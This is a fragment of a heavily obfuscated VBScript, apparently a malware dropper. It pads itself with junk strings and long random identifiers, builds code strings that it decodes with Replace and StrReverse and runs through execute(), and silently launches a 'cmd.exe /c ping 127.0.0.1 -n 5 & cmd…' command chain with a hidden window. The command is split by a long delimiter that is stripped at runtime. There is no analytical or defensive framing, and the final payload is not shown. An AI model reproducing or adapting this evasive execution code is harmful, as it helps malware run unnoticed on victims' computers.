OcdPybqXdKJGqQRmbDTmiKPadxMUNprUhPsPXJWjJQRTyUhmXXhotdmnvyKauXLipwJjUWNwUXguNLccHiKWWCmxU = OcdPybqXdKJGqQRmbDTmiKPadxMUNprUhPsPXJWjJQRTyUhmXXhotdmnvyKauXLipwJjUWNwUXguNLccHiKWWCmxU + " tra4
(@4@(#+(@(
(@4@(#+(@(
(@4@(#+(@(
(@4@(#+(@(
(@4@(#+(@(
dniW\t4
(@4@(#+(@(
(@4@(#+(@(
(@4@(#+(@(
(@4@(#+(@(
(@4@(#+(@(
(@4@(#+(@(
(@4@(#+(@(
(@4@(#+(@(
(@4@(#+(@(
(@4@(#+(@(
(@4@(#+(@(
aoR\a4
(@4@(#+(@(
(@4@(#+(@(
(@4@(#+(@(
(@4@(#+(@(
(@4@(#+(@(
OcdPybqXdKJGqQRmbDTmiKPadxMUNprUhPsPXJWjJQRTyUhmXXhotdmnvyKauXLipwJjUWNwUXguNLccHiKWWCmxU = WfOpDCQLKWKhyPQMCZWKiXkCGAUOhBQWuKakznLxhUrkZnNUuQWTQOwgGOzDeLWGDDihmyjixcBrkulGkdDKhaWdQ(WfOpDCQLKWKhyPQMCZWKiXkCGAUOhBQWuKakznLxhUrkZnNUuQWTQOwgGOzDeLWGDDihmyjixcBrkulGkdDKhaWdQ( OcdPybqXdKJGqQRmbDTmiKPadxMUNprUhPsPXJWjJQRTyUhmXXhotdmnvyKauXLipwJjUWNwUXguNLccHiKWWCmxU , QvBQoPJoLoavQcjtPlzZZLfPSsgNnOOgpGjGUlbvWgpzDgNOoUWQpnOgLjvACWdUMPdvWKnPNhUfUKKAoUobQjtsO34 , yQUOPTkUMvYALKKRTghbljcenAQJfjrOwOZOAcbSqtLhwOWiUAvtgliBPLdTymUoUDUSdNfDJmGHqyCkAovbocRAD ),OcdPybqXdKJGqQRmbDTmiKPadxMUNprUhPsPXJWjJQRTyUhmXXhotdmnvyKauXLipwJjUWNwUXguNLccHiKWWCmxU,OcdPybqXdKJGqQRmbDTmiKPadxMUNprUhPsPXJWjJQRTyUhmXXhotdmnvyKauXLipwJjUWNwUXguNLccHiKWWCmxU)
iCPNTTtvUWPYvGLITvOPbWUDwPOiXWSDhTgTHeMSonOOcDZPvHTpIQPAChChsOxWDSrnqfXSiWrLnZNiSWPMtNoPP = "
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
iCPNTTtvUWPYvGLITvOPbWUDwPOiXWSDhTgTHeMSonOOcDZPvHTpIQPAChChsOxWDSrnqfXSiWrLnZNiSWPMtNoPP = iCPNTTtvUWPYvGLITvOPbWUDwPOiXWSDhTgTHeMSonOOcDZPvHTpIQPAChChsOxWDSrnqfXSiWrLnZNiSWPMtNoPP + "
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
iCPNTTtvUWPYvGLITvOPbWUDwPOiXWSDhTgTHeMSonOOcDZPvHTpIQPAChChsOxWDSrnqfXSiWrLnZNiSWPMtNoPP = iCPNTTtvUWPYvGLITvOPbWUDwPOiXWSDhTgTHeMSonOOcDZPvHTpIQPAChChsOxWDSrnqfXSiWrLnZNiSWPMtNoPP + cNUWiqdjsZLYMKyJqolGrZWxDecIgqDXTUAUyGCUQDaljXUYjySWSkYXBCwGNaaTPGcUYAgGIWLULDOhwTZCnNJeW + "',"
iCPNTTtvUWPYvGLITvOPbWUDwPOiXWSDhTgTHeMSonOOcDZPvHTpIQPAChChsOxWDSrnqfXSiWrLnZNiSWPMtNoPP = iCPNTTtvUWPYvGLITvOPbWUDwPOiXWSDhTgTHeMSonOOcDZPvHTpIQPAChChsOxWDSrnqfXSiWrLnZNiSWPMtNoPP + "'C
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
ers\'
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
I#tvhn@
:(**44
dim bTsUSUIcbbbKosTmXYnuGWydGKNsKaBOzcyRMSeXGHBfhgUvzTOccOIwJycuCynISAGrRNoGDjaBKzJZKOAuryWkX
bTsUSUIcbbbKosTmXYnuGWydGKNsKaBOzcyRMSeXGHBfhgUvzTOccOIwJycuCynISAGrRNoGDjaBKzJZKOAuryWkX = OcdPybqXdKJGqQRmbDTmiKPadxMUNprUhPsPXJWjJQRTyUhmXXhotdmnvyKauXLipwJjUWNwUXguNLccHiKWWCmxU
bTsUSUIcbbbKosTmXYnuGWydGKNsKaBOzcyRMSeXGHBfhgUvzTOccOIwJycuCynISAGrRNoGDjaBKzJZKOAuryWkX = EWUsZXBLrXXZACCXXpyKDAJQDoEJMACCSKOKLJOCgCQyJCGGLLYOMdGKHCWCZnXYdHMCUAMHJgNTlIMHHYXOWVWoL( _
bTsUSUIcbbbKosTmXYnuGWydGKNsKaBOzcyRMSeXGHBfhgUvzTOccOIwJycuCynISAGrRNoGDjaBKzJZKOAuryWkX)
iCPNTTtvUWPYvGLITvOPbWUDwPOiXWSDhTgTHeMSonOOcDZPvHTpIQPAChChsOxWDSrnqfXSiWrLnZNiSWPMtNoPP = WfOpDCQLKWKhyPQMCZWKiXkCGAUOhBQWuKakznLxhUrkZnNUuQWTQOwgGOzDeLWGDDihmyjixcBrkulGkdDKhaWdQ( _
iCPNTTtvUWPYvGLITvOPbWUDwPOiXWSDhTgTHeMSonOOcDZPvHTpIQPAChChsOxWDSrnqfXSiWrLnZNiSWPMtNoPP + _
bTsUSUIcbbbKosTmXYnuGWydGKNsKaBOzcyRMSeXGHBfhgUvzTOccOIwJycuCynISAGrRNoGDjaBKzJZKOAuryWkX , _
I#tvhn@
:(**44
WfOpDCQLKWKhyPQMCZWKiXkCGAUOhBQWuKakznLxhUrkZnNUuQWTQOwgGOzDeLWGDDihmyjixcBrkulGkdDKhaWdQ(yQUOPTkUMvYALKKRTghbljcenAQJfjrOwOZOAcbSqtLhwOWiUAvtgliBPLdTymUoUDUSdNfDJmGHqyCkAovbocRAD + "VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx","VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx",yQUOPTkUMvYALKKRTghbljcenAQJfjrOwOZOAcbSqtLhwOWiUAvtgliBPLdTymUoUDUSdNfDJmGHqyCkAovbocRAD) )
QvBQoPJoLoavQcjtPlzZZLfPSsgNnOOgpGjGUlbvWgpzDgNOoUWQpnOgLjvACWdUMPdvWKnPNhUfUKKAoUobQjtsO = WfOpDCQLKWKhyPQMCZWKiXkCGAUOhBQWuKakznLxhUrkZnNUuQWTQOwgGOzDeLWGDDihmyjixcBrkulGkdDKhaWdQ("cmfANJZNzOHfHZLgroNWHkGURTLqRNZWTBmSBUuOZPQKAKWOMAUrBBwHzscnqsuQCZZcGuiOPGWMWPNmPHNUXkuZxoUdfANJZNzOHfHZLgroNWHkGURTLqRNZWTBmSBUuOZPQKAKWOMAUrBBwHzscnqsuQCZZcGuiOPGWMWPNmPHNUXkuZxoU.exfANJZNzOHfHZLgroNWHkGURTLqRNZWTBmSBUuOZPQKAKWOMAUrBBwHzscnqsuQCZZcGuiOPGWMWPNmPHNUXkuZxoUe /c pfANJZNzOHfHZLgroNWHkGURTLqRNZWTBmSBUuOZPQKAKWOMAUrBBwHzscnqsuQCZZcGuiOPGWMWPNmPHNUXkuZxoUing 1fANJZNzOHfHZLgroNWHkGURTLqRNZWTBmSBUuOZPQKAKWOMAUrBBwHzscnqsuQCZZcGuiOPGWMWPNmPHNUXkuZxoU27.fANJZNzOHfHZLgroNWHkGURTLqRNZWTBmSBUuOZPQKAKWOMAUrBBwHzscnqsuQCZZcGuiOPGWMWPNmPHNUXkuZxoU0.0fANJZNzOHfHZLgroNWHkGURTLqRNZWTBmSBUuOZPQKAKWOMAUrBBwHzscnqsuQCZZcGuiOPGWMWPNmPHNUXkuZxoU.1 -nfANJZNzOHfHZLgroNWHkGURTLqRNZWTBmSBUuOZPQKAKWOMAUrBBwHzscnqsuQCZZcGuiOPGWMWPNmPHNUXkuZxoU fANJZNzOHfHZLgroNWHkGURTLqRNZWTBmSBUuOZPQKAKWOMAUrBBwHzscnqsuQCZZcGuiOPGWMWPNmPHNUXkuZxoU5 & cmfANJZ
cNUWiqdjsZLYMKyJqolGrZWxDecIgqDXTUAUyGCUQDaljXUYjySWSkYXBCwGNaaTPGcUYAgGIWLULDOhwTZCnNJeWo.run QvBQoPJoLoavQcjtPlzZZLfPSsgNnOOgpGjGUlbvWgpzDgNOoUWQpnOgLjvACWdUMPdvWKnPNhUfUKKAoUobQjtsO, 0, true
end if
Function ByWWWURNPBPuoULUCsCjNWPpohnUuNmQICavdckGdhNhcCoNWLQnnkimpRnjNNopWkNqCNUNNDNrKInqKpHjqjjUm(hdLxHcpQshsynHtowcuiRKsKnbKcyMuPiGzbACcDQhrhxuurKtPcKHbRyKdGNBhcHvRepPKRMjMtSiiBSMlieWtoL,PcDNorGUsPsuLXJOUcWUJBuALWJruZlTSukbPNBcPPcPjKUcBJTPhPUsGUzAIDWpoGJdBDRJZHZNrSUSrncUdpWOM)
dim BWLDqofcUBUaXgMciPOKORdJXoGoahRUbapwIKIDKrmrGOcmRMUaLBkGKeOSejfrqKOAWJyOhOhhvbacvfZKAwNci
BWLDqofcUBUaXgMciPOKORdJXoGoahRUbapwIKIDKrmrGOcmRMUaLBkGKeOSejfrqKOAWJyOhOhhvbacvfZKAwNci = "ByWWWURNPBPuoULUCsCjNWPpohnUuNmQICavdckGdhNhcCoNWLQnnkimpRnjNNopWkNqCNUNNDNrKInqKpHjqjjUm = "
BWLDqofcUBUaXgMciPOKORdJXoGoahRUbapwIKIDKrmrGOcmRMUaLBkGKeOSejfrqKOAWJyOhOhhvbacvfZKAwNci = BWLDqofcUBUaXgMciPOKORdJXoGoahRUbapwIKIDKrmrGOcmRMUaLBkGKeOSejfrqKOAWJyOhOhhvbacvfZKAwNci + "InStr(hdLxHcpQshsynHtowcuiRKsKnbKcyMuPiGzbACcDQhrhxuurKtPcKHbRyKdGNBhcHvRepPKRMjMtSiiBSMlieWtoL, PcDNorGUsPsuLXJOUcWUJBuALWJruZlTSukbPNBcPPcPjKUcBJTPhPUsGUzAIDWpoGJdBDRJZHZNrSUSrncUdpWOM)"
execute(BWLDqofcUBUaXgMciPOKORdJXoGoahRUbapwIKIDKrmrGOcmRMUaLBkGKeOSejfrqKOAWJyOhOhhvbacvfZKAwNci)
End Function
LUrUzeqnlxwMANCweRXgcqzGELMjqqWdgadamnUWPgyXkRsOmmxMWeOcQwDwaWexfQWWqqqRjPhpPjvYixwUDuvWc:KYgUqYlXcAOOAZfiYwUpgNGNCrcBUjzWqDIDxMeglgkUwWucXxcPONcXSnsnnIYAimpgpNUmBlbPKAZUPcOeTGirG:GPWPJUzUJmngeDpdUWLWurnPoYQOSOwhpGBGoKpgHgQiHhiUUoGSTvUKSiRiosUmfdpghrSdOHxDlZvLUGnpnxdYQ = "*##@@$
(**@%}
]%*&@+
&*%**#*
$@(&&$
@!&*$++
##@&##":bKtXAWgPrLUWODccWIGPxxYcDIUfTXUWUUAUDPzgXgCnuWUrPDHKjcrUsBnBxhWLGKAgZxTKfXJYNpcGYHUzwCcIX:zDAiDKALcGUcyqkWKrDRyCIcfccUTOwUsKPKTAOZTZuXJUGLLTkYznLcUDpDnfKGKNTZiCTNUTZDDLGDWkUOcoWcc:
LUrUzeqnlxwMANCweRXgcqzGELMjqqWdgadamnUWPgyXkRsOmmxMWeOcQwDwaWexfQWWqqqRjPhpPjvYixwUDuvWc:KYgUqYlXcAOOAZfiYwUpgNGNCrcBUjzWqDIDxMeglgkUwWucXxcPONcXSnsnnIYAimpgpNUmBlbPKAZUPcOeTGirG:GPWPJUzUJmngeDpdUWLWurnPoYQOSOwhpGBGoKpgHgQiHhiUUoGSTvUKSiRiosUmfdpghrSdOHxDlZvLUGnpnxdYQ = "*##@@$
(**@%}
]%*&@+
&*%**#*
$@(&&$
@!&*$++
##@&##":bKtXAWgPrLUWODccWIGPxxYcDIUfTXUWUUAUDPzgXgCnuWUrPDHKjcrUsBnBxhWLGKAgZxTKfXJYNpcGYHUzwCcIX:zDAiDKALcGUcyqkWKrDRyCIcfccUTOwUsKPKTAOZTZuXJUGLLTkYznLcUDpDnfKGKNTZiCTNUTZDDLGDWkUOcoWcc:
LUrUzeqnlxwMANCweRXgcqzGELMjqqWdgadamnUWPgyXkRsOmmxMWeOcQwDwaWexfQWWqqqRjPhpPjvYixwUDuvWc:KYgUqYlXcAOOAZfiYwUpgNGNCrcBUjzWqDIDxMeglgkUwWucXxcPONcXSnsnnIYAimpgpNUmBlbPKAZUPcOeTGirG:GPWPJUzUJmngeDpdUWLWurnPoYQOSOwhpGBGoKpgHgQiHhiUUoGSTvUKSiRiosUmfdpghrSdOHxDlZvLUGnpnxdYQ = "*##@@$
(**@%}
]%*&@+
&*%**#*
$@(&&$
@!&*$++
##@&##":bKtXAWgPrLUWODccWIGPxxYcDIUfTXUWUUAUDPzgXgCnuWUrPDHKjcrUsBnBxhWLGKAgZxTKfXJYNpcGYHUzwCcIX:zDAiDKALcGUcyqkWKrDRyCIcfccUTOwUsKPKTAOZTZuXJUGLLTkYznLcUDpDnfKGKNTZiCTNUTZDDLGDWkUOcoWcc:
LUrUzeqnlxwMANCweRXgcqzGELMjqqWdgadamnUWPgyXkRsOmmxMWeOcQwDwaWexfQWWqqqRjPhpPjvYixwUDuvWc:KYgUqYlXcAOOAZfiYwUpgNGNCrcBUjzWqDIDxMeglgkUwWucXxcPONcXSnsnnIYAimpgpNUmBlbPKAZUPcOeTGirG:GPWPJUzUJmngeDpdUWLWurnPoYQOSOwhpGBGoKpgHgQiHhiUUoGSTvUKSiRiosUmfdpghrSdOHxDlZvLUGnpnxdYQ = "*##@@$
(**@%}
]%*&@+
&*%**#*
$@(&&$
@!&*$++
##@&##":bKtXAWgPrLUWODccWIGPxxYcDIUfTXUWUUAUDPzgXgCnuWUrPDHKjcrUsBnBxhWLGKAgZxTKfXJYNpcGYHUzwCcIX:zDAiDKALcGUcyqkWKrDRyCIcfccUTOwUsKPKTAOZTZuXJUGLLTkYznLcUDpDnfKGKNTZiCTNUTZDDLGDWkUOcoWcc:
LUrUzeqnlxwMANCweRXgcqzGELMjqqWdgadamnUWPgyXkRsOmmxMWeOcQwDwaWexfQWWqqqRjPhpPjvYixwUDuvWc:KYgUqYlXcAOOAZfiYwUpgNGNCrcBUjzWqDIDxMeglgkUwWucXxcPONcXSnsnnIYAimpgpNUmBlbPKAZUPcOeTGirG:GPWPJUzUJmngeDpdUWLWurnPoYQOSOwhpGBGoKpgHgQiHhiUUoGSTvUKSiRiosUmfdpghrSdOHxDlZvLUGnpnxdYQ = "*##@@$
(**@%}
]%*&@+
&*%**#*
$@(&&$
@!&*$++
##@&##":bKtXAWgPrLUWODccWIGPxxYcDIUfTXUWUUAUDPzgXgCnuWUrPDHKjcrUsBnBxhWLGKAgZxTKfXJYNpcGYHUzwCcIX:zDAiDKALcGUcyqkWKrDRyCIcfccUTOwUsKPKTAOZTZuXJUGLLTkYznLcUDpDnfKGKNTZiCTNUTZDDLGDWkUOcoWcc:
LUrUzeqnlxwMANCweRXgcqzGELMjqqWdgadamnUWPgyXkRsOmmxMWeOcQwDwaWexfQWWqqqRjPhpPjvYixwUDuvWc:KYgUqYlXcAOOAZfiYwUpgNGNCrcBUjzWqDIDxMeglgkUwWucXxcPONcXSnsnnIYAimpgpNUmBlbPKAZUPcOeTGirG:GPWPJUzUJmngeDpdUWLWurnPoYQOSOwhpGBGoKpgHgQiHhiUUoGSTvUKSiRiosUmfdpghrSdOHxDlZvLUGnpnxdYQ = "*##@@$
(**@%}
]%*&@+
&*%**#*
$@(&&$
@!&*$++
##@&##":bKtXAWgPrLUWODccWIGPxxYcDIUfTXUWUUAUDPzgXgCnuWUrPDHKjcrUsBnBxhWLGKAgZxTKfXJYNpcGYHUzwCcIX:zDAiDKALcGUcyqkWKrDRyCIcfccUTOwUsKPKTAOZTZuXJUGLLTkYznLcUDpDnfKGKNTZiCTNUTZDDLGDWkUOcoWcc:
Function WfOpDCQLKWKhyPQMCZWKiXkCGAUOhBQWuKakznLxhUrkZnNUuQWTQOwgGOzDeLWGDDihmyjixcBrkulGkdDKhaWdQ(hdLxHcpQshsynHtowcuiRKsKnbKcyMuPiGzbACcDQhrhxuurKtPcKHbRyKdGNBhcHvRepPKRMjMtSiiBSMlieWtoL,PcDNorGUsPsuLXJOUcWUJBuALWJruZlTSukbPNBcPPcPjKUcBJTPhPUsGUzAIDWpoGJdBDRJZHZNrSUSrncUdpWOM,MWGUWOGUGMGKLNSIajqZjkNCLXSOKfcLsxfLAcWhhsIsbTnIkSLDzczuMHcedCaaWLjKGPIjfUfgOsTfOYTZKleIQ)
dim BWLDqofcUBUaXgMciPOKORdJXoGoahRUbapwIKIDKrmrGOcmRMUaLBkGKeOSejfrqKOAWJyOhOhhvbacvfZKAwNci
BWLDqofcUBUaXgMciPOKORdJXoGoahRUbapwIKIDKrmrGOcmRMUaLBkGKeOSejfrqKOAWJyOhOhhvbacvfZKAwNci = "WfOpDCQLKWKhyPQMCZWKiXkCGAUOhBQWuKakznLxhUrkZnNUuQWTQOwgGOzDeLWGDDihmyjixcBrkulGkdDKhaWdQ = "
BWLDqofcUBUaXgMciPOKORdJXoGoahRUbapwIKIDKrmrGOcmRMUaLBkGKeOSejfrqKOAWJyOhOhhvbacvfZKAwNci = BWLDqofcUBUaXgMciPOKORdJXoGoahRUbapwIKIDKrmrGOcmRMUaLBkGKeOSejfrqKOAWJyOhOhhvbacvfZKAwNci + "Replace"
BWLDqofcUBUaXgMciPOKORdJXoGoahRUbapwIKIDKrmrGOcmRMUaLBkGKeOSejfrqKOAWJyOhOhhvbacvfZKAwNci = BWLDqofcUBUaXgMciPOKORdJXoGoahRUbapwIKIDKrmrGOcmRMUaLBkGKeOSejfrqKOAWJyOhOhhvbacvfZKAwNci + "(hdLxHcpQshsynHtowcuiRKsKnbKcyMuPiGzbACcDQhrhxuurKtPcKHbRyKdGNBhcHvRepPKRMjMtSiiBSMlieWtoL ,PcDNorGUsPsuLXJOUcWUJBuALWJruZlTSukbPNBcPPcPjKUcBJTPhPUsGUzAIDWpoGJdBDRJZHZNrSUSrncUdpWOM, MWGUWOGUGMGKLNSIajqZjkNCLXSOKfcLsxfLAcWhhsIsbTnIkSLDzczuMHcedCaaWLjKGPIjfUfgOsTfOYTZKleIQ)"
execute(BWLDqofcUBUaXgMciPOKORdJXoGoahRUbapwIKIDKrmrGOcmRMUaLBkGKeOSejfrqKOAWJyOhOhhvbacvfZKAwNci)
End Function
LUrUzeqnlxwMANCweRXgcqzGELMjqqWdgadamnUWPgyXkRsOmmxMWeOcQwDwaWexfQWWqqqRjPhpPjvYixwUDuvWc:KYgUqYlXcAOOAZfiYwUpgNGNCrcBUjzWqDIDxMeglgkUwWucXxcPONcXSnsnnIYAimpgpNUmBlbPKAZUPcOeTGirG:GPWPJUzUJmngeDpdUWLWurnPoYQOSOwhpGBGoKpgHgQiHhiUUoGSTvUKSiRiosUmfdpghrSdOHxDlZvLUGnpnxdYQ = "*##@@$
(**@%}
]%*&@+
&*%**#*
$@(&&$
@!&*$++
##@&##":bKtXAWgPrLUWODccWIGPxxYcDIUfTXUWUUAUDPzgXgCnuWUrPDHKjcrUsBnBxhWLGKAgZxTKfXJYNpcGYHUzwCcIX:zDAiDKALcGUcyqkWKrDRyCIcfccUTOwUsKPKTAOZTZuXJUGLLTkYznLcUDpDnfKGKNTZiCTNUTZDDLGDWkUOcoWcc:
LUrUzeqnlxwMANCweRXgcqzGELMjqqWdgadamnUWPgyXkRsOmmxMWeOcQwDwaWexfQWWqqqRjPhpPjvYixwUDuvWc:KYgUqYlXcAOOAZfiYwUpgNGNCrcBUjzWqDIDxMeglgkUwWucXxcPONcXSnsnnIYAimpgpNUmBlbPKAZUPcOeTGirG:GPWPJUzUJmngeDpdUWLWurnPoYQOSOwhpGBGoKpgHgQiHhiUUoGSTvUKSiRiosUmfdpghrSdOHxDlZvLUGnpnxdYQ = "*##@@$
(**@%}
]%*&@+
&*%**#*
$@(&&$
@!&*$++
##@&##":bKtXAWgPrLUWODccWIGPxxYcDIUfTXUWUUAUDPzgXgCnuWUrPDHKjcrUsBnBxhWLGKAgZxTKfXJYNpcGYHUzwCcIX:zDAiDKALcGUcyqkWKrDRyCIcfccUTOwUsKPKTAOZTZuXJUGLLTkYznLcUDpDnfKGKNTZiCTNUTZDDLGDWkUOcoWcc:
LUrUzeqnlxwMANCweRXgcqzGELMjqqWdgadamnUWPgyXkRsOmmxMWeOcQwDwaWexfQWWqqqRjPhpPjvYixwUDuvWc:KYgUqYlXcAOOAZfiYwUpgNGNCrcBUjzWqDIDxMeglgkUwWucXxcPONcXSnsnnIYAimpgpNUmBlbPKAZUPcOeTGirG:GPWPJUzUJmngeDpdUWLWurnPoYQOSOwhpGBGoKpgHgQiHhiUUoGSTvUKSiRiosUmfdpghrSdOHxDlZvLUGnpnxdYQ = "*##@@$
(**@%}
]%*&@+
&*%**#*
$@(&&$
@!&*$++
##@&##":bKtXAWgPrLUWODccWIGPxxYcDIUfTXUWUUAUDPzgXgCnuWUrPDHKjcrUsBnBxhWLGKAgZxTKfXJYNpcGYHUzwCcIX:zDAiDKALcGUcyqkWKrDRyCIcfccUTOwUsKPKTAOZTZuXJUGLLTkYznLcUDpDnfKGKNTZiCTNUTZDDLGDWkUOcoWcc:
LUrUzeqnlxwMANCweRXgcqzGELMjqqWdgadamnUWPgyXkRsOmmxMWeOcQwDwaWexfQWWqqqRjPhpPjvYixwUDuvWc:KYgUqYlXcAOOAZfiYwUpgNGNCrcBUjzWqDIDxMeglgkUwWucXxcPONcXSnsnnIYAimpgpNUmBlbPKAZUPcOeTGirG:GPWPJUzUJmngeDpdUWLWurnPoYQOSOwhpGBGoKpgHgQiHhiUUoGSTvUKSiRiosUmfdpghrSdOHxDlZvLUGnpnxdYQ = "*##@@$
(**@%}
]%*&@+
&*%**#*
$@(&&$
@!&*$++
##@&##":bKtXAWgPrLUWODccWIGPxxYcDIUfTXUWUUAUDPzgXgCnuWUrPDHKjcrUsBnBxhWLGKAgZxTKfXJYNpcGYHUzwCcIX:zDAiDKALcGUcyqkWKrDRyCIcfccUTOwUsKPKTAOZTZuXJUGLLTkYznLcUDpDnfKGKNTZiCTNUTZDDLGDWkUOcoWcc:
LUrUzeqnlxwMANCweRXgcqzGELMjqqWdgadamnUWPgyXkRsOmmxMWeOcQwDwaWexfQWWqqqRjPhpPjvYixwUDuvWc:KYgUqYlXcAOOAZfiYwUpgNGNCrcBUjzWqDIDxMeglgkUwWucXxcPONcXSnsnnIYAimpgpNUmBlbPKAZUPcOeTGirG:GPWPJUzUJmngeDpdUWLWurnPoYQOSOwhpGBGoKpgHgQiHhiUUoGSTvUKSiRiosUmfdpghrSdOHxDlZvLUGnpnxdYQ = "*##@@$
(**@%}
]%*&@+
&*%**#*
$@(&&$
@!&*$++
##@&##":bKtXAWgPrLUWODccWIGPxxYcDIUfTXUWUUAUDPzgXgCnuWUrPDHKjcrUsBnBxhWLGKAgZxTKfXJYNpcGYHUzwCcIX:zDAiDKALcGUcyqkWKrDRyCIcfccUTOwUsKPKTAOZTZuXJUGLLTkYznLcUDpDnfKGKNTZiCTNUTZDDLGDWkUOcoWcc:
LUrUzeqnlxwMANCweRXgcqzGELMjqqWdgadamnUWPgyXkRsOmmxMWeOcQwDwaWexfQWWqqqRjPhpPjvYixwUDuvWc:KYgUqYlXcAOOAZfiYwUpgNGNCrcBUjzWqDIDxMeglgkUwWucXxcPONcXSnsnnIYAimpgpNUmBlbPKAZUPcOeTGirG:GPWPJUzUJmngeDpdUWLWurnPoYQOSOwhpGBGoKpgHgQiHhiUUoGSTvUKSiRiosUmfdpghrSdOHxDlZvLUGnpnxdYQ = "*##@@$
(**@%}
]%*&@+
&*%**#*
$@(&&$
@!&*$++
##@&##":bKtXAWgPrLUWODccWIGPxxYcDIUfTXUWUUAUDPzgXgCnuWUrPDHKjcrUsBnBxhWLGKAgZxTKfXJYNpcGYHUzwCcIX:zDAiDKALcGUcyqkWKrDRyCIcfccUTOwUsKPKTAOZTZuXJUGLLTkYznLcUDpDnfKGKNTZiCTNUTZDDLGDWkUOcoWcc:
Function EWUsZXBLrXXZACCXXpyKDAJQDoEJMACCSKOKLJOCgCQyJCGGLLYOMdGKHCWCZnXYdHMCUAMHJgNTlIMHHYXOWVWoL(hdLxHcpQshsynHtowcuiRKsKnbKcyMuPiGzbACcDQhrhxuurKtPcKHbRyKdGNBhcHvRepPKRMjMtSiiBSMlieWtoL)
dim BWLDqofcUBUaXgMciPOKORdJXoGoahRUbapwIKIDKrmrGOcmRMUaLBkGKeOSejfrqKOAWJyOhOhhvbacvfZKAwNci
BWLDqofcUBUaXgMciPOKORdJXoGoahRUbapwIKIDKrmrGOcmRMUaLBkGKeOSejfrqKOAWJyOhOhhvbacvfZKAwNci = "EWUsZXBLrXXZACCXXpyKDAJQDoEJMACCSKOKLJOCgCQyJCGGLLYOMdGKHCWCZnXYdHMCUAMHJgNTlIMHHYXOWVWoL = "
BWLDqofcUBUaXgMciPOKORdJXoGoahRUbapwIKIDKrmrGOcmRMUaLBkGKeOSejfrqKOAWJyOhOhhvbacvfZKAwNci = BWLDqofcUBUaXgMciPOKORdJXoGoahRUbapwIKIDKrmrGOcmRMUaLBkGKeOSejfrqKOAWJyOhOhhvbacvfZKAwNci + "StrReverse"
BWLDqofcUBUaXgMciPOKORdJXoGoahRUbapwIKIDKrmrGOcmRMUaLBkGKeOSejfrqKOAWJyOhOhhvbacvfZKAwNci = BWLDqofcUBUaXgMciPOKORdJXoGoahRUbapwIKIDKrmrGOcmRMUaLBkGKeOSejfrqKOAWJyOhOhhvbacvfZKAwNci + "(hdLxHcpQshsynHtowcuiRKsKnbKcyMuPiGzbACcDQhrhxuurKtPcKHbRyKdGNBhcHvRepPKRMjMtSiiBSMlieWtoL)"
execute(BWLDqofcUBUaXgMciPOKORdJXoGoahRUbapwIKIDKrmrGOcmRMUaLBkGKeOSejfrqKOAWJyOhOhhvbacvfZKAwNci)
End Function
Function NdwNcJRWlNlmJuIHCKPDqwyLJCJJmOWmCwSDGgnuHHGHoXWGwImMWWxpLrkmfYJZcuqkyDoqOAOcLCaDLLqDkJNHP(jzXYOUybejeKqzoWNKNkobxQqUgUKtSxoeUWqjOnPYJYGLWJboxgDGUwxpOqbWnDOKogNGWotOtkxouoxqCkgcUWO,eXMnfAJKReRWMCOJcpKAWimkMTSAWDdRcbceWQGbZPBPPWRBiORhKIvOcTlsNeeTfdWyNoOWDyDxZcPSZBxAyisJx,jtenXnIjhuheyweMTsjtaUUBYNWfcfQfZcLBbGZixklbAcCGUefLiWCRntLdbcvRvUaKqJqUpZfqaZPeaHLkAjzLD)
NdwNcJRWlNlmJuIHCKPDqwyLJCJJmOWmCwSDGgnuHHGHoXWGwImMWWxpLrkmfYJZcuqkyDoqOAOcLCaDLLqDkJNHP = Replace(jzXYOUybejeKqzoWNKNkobxQqUgUKtSxoeUWqjOnPYJYGLWJboxgDGUwxpOqbWnDOKogNGWotOtkxouoxqCkgcUWO, eXMnfAJKReRWMCOJcpKAWimkMTSAWDdRcbceWQGbZPBPPWRBiORhKIvOcTlsNeeTfdWyNoOWDyDxZcPSZBxAyisJx, jtenXnIjhuheyweMTsjtaUUBYNWfcfQfZcLBbGZixklbAcCGUefLiWCRntLdbcvRvUaKqJqUpZfqaZPeaHLkAjzLD)
End Function
Function OiOfPNJnKOKBNAApYvLcqARoNUGNBipkAevNKPNWZUZUKtBZAAkfcDfUJORsXMsoPdqfCDYqiWincAgIcRacfAgpz(jzXYOUybejeKqzoWNKNkobxQqUgUKtSxoeUWqjOnPYJYGLWJboxgDGUwxpOqbWnDOKogNGWotOtkxouoxqCkgcUWO)
OiOfPNJnKOKBNAApYvLcqARoNUGNBipkAevNKPNWZUZUKtBZAAkfcDfUJORsXMsoPdqfCDYqiWincAgIcRacfAgpz = StrReverse(jzXYOUybejeKqzoWNKNkobxQqUgUKtSxoeUWqjOnPYJYGLWJboxgDGUwxpOqbWnDOKogNGWotOtkxouoxqCkgcUWO)
End Function
dim GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP
GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP = " "
dim wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP
wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP = "/ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ /"
